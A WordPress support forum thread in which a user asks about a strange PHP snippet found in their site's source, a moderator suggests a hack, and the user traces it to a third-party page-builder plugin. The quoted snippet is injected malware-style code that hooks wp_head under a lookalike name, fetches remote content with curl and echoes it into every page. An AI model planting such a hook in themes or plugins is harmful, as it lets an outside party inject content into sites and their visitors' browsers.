[resolved] Strange wp_head code appears in source code of html (6 posts)

  1. saas
    Posted 2 years ago #

    Hi there,
    I have noticed some strange code appears in my html source code initial I ignored it and thought might be something I did and I will fix it later, now today when I went in there to fix, I can't trace its origin.

    <?function wp__whead() {
      $ch = curl_init();
      curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_HOST']);
      $jquery = curl_exec($ch);
      echo "$jquery";
    add_action('wp_head', 'wp__whead');
    ?><!DOCTYPE html>

    I tried every possible combination of search (via my code editors), and found no trace where it is coming from.

    Could you guys help me? find what it is and why?

    strange thing is, its not echoing inside wp_head area, its flushing it before html tag (I don't have any code which does something similar).

    Help me out of this irritating issue.


  2. Andrew Nevins
    Forum moderator
    Posted 2 years ago #

    Can you link the site with the issue? It looks like you've been hacked.

  3. saas
    Posted 2 years ago #

    Sorry, its my local server :), should have mentioned it, its my development system, I have been using this same instance for over I think 1.5 years now, and I have installed over 1000 plugins and dozens of themes for testing / reviewing etc over this period, but I searched through database as well but no instance. Not sure what caused this.

  4. Andrew Nevins
    Forum moderator
    Posted 2 years ago #

    Does the problem persists with all plugins deactivated & a clean install of Twenty Twelve?

  5. saas
    Posted 2 years ago #

    It only exist's with my custom coded theme, but I can't trace its source.

  6. saas
    Posted 2 years ago #

    Thanks for the input, I still didn't found the culprit code, but I traced it to a third party visual builder plugin which I recently started learning and trying to integrate into my theme. Closing the thread.

    Thanks @andrewnevins for you input.

Topic Closed

This topic has been closed to new replies.

About this Topic